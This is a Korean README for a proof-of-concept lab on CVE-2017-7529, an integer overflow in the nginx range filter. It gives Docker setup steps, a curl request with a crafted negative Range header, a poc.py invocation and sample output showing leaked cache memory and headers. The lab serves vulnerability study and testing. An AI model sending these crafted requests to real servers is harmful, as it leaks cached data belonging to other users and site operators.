
Nginx (ver. 0.5.6 - 1.13.2) 원격 정수 오버플로우
Nginx 0.5.6부터 1.13.2까지의 버전은 nginx range filter 모듈의 정수 오버플로 취약점에 영향을 받으며, 특수하게 조작된 요청으로 인해 잠재적으로 민감한 정보가 유출될 수 있습니다. 출처: https://nvd.nist.gov/vuln/detail/CVE-2017-7529
다른 오픈 소스에서는 이 취약점이 Apache2에서만 그리고 이미지 파일에 대해서만 재현될 수 있다는 정보를 찾을 수 있지만, 이는 사실이 아닙니다. 이 취약점은 Nginx를 통해 프록시되는 모든 애플리케이션에서 작동합니다. 핵심은 서버가 Accept-Ranges: bytes 헤더를 반환해야 한다는 것입니다. 이 헤더는 nginx 구성에 수동으로 추가할 수 있습니다: proxy_force_ranges on;
$ git clone https://github.com/SirEagIe/CVE-2017-7529
$ cd CVE-2017-7529
$ docker build -t cve-2017-7529 .
$ docker run --rm -d -p 8000:80 --name cve-2017-7529 cve-2017-7529
Content-Length를 얻기 위해 GET 요청을 보내고 응답을 캐시에 저장합니다. 그런 다음 범위가 -n,-(0x8000000000000000-n)인 Range 헤더로 요청을 다시 보냅니다.
$ curl -i http://localhost:8000/
$ curl -i http://localhost:8000/ -r -533,-9223372036854775275 --output -
또는 poc.py 스크립트를 사용하세요.
$ python3 poc.py http://localhost:8000/ 513
결과:
[+] Vulnerable to CVE-2017-7529
--00000000000000000029
Content-Type: text/html; charset=utf-8
Content-Range: bytes -513-19/20
MX*fÿÿÿÿÿÿÿÿõU*fTêû©h
KEY: httpGETlocalhost/
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 20
Server: Werkzeug/1.0.1 Python/3.5.3
Date: Thu, 25 Apr 2024 13:09:09 GMT
<p>Hello, World!</p>
--00000000000000000029
Content-Type: text/html; charset=utf-8
Content-Range: bytes -9223372036854775255-19/20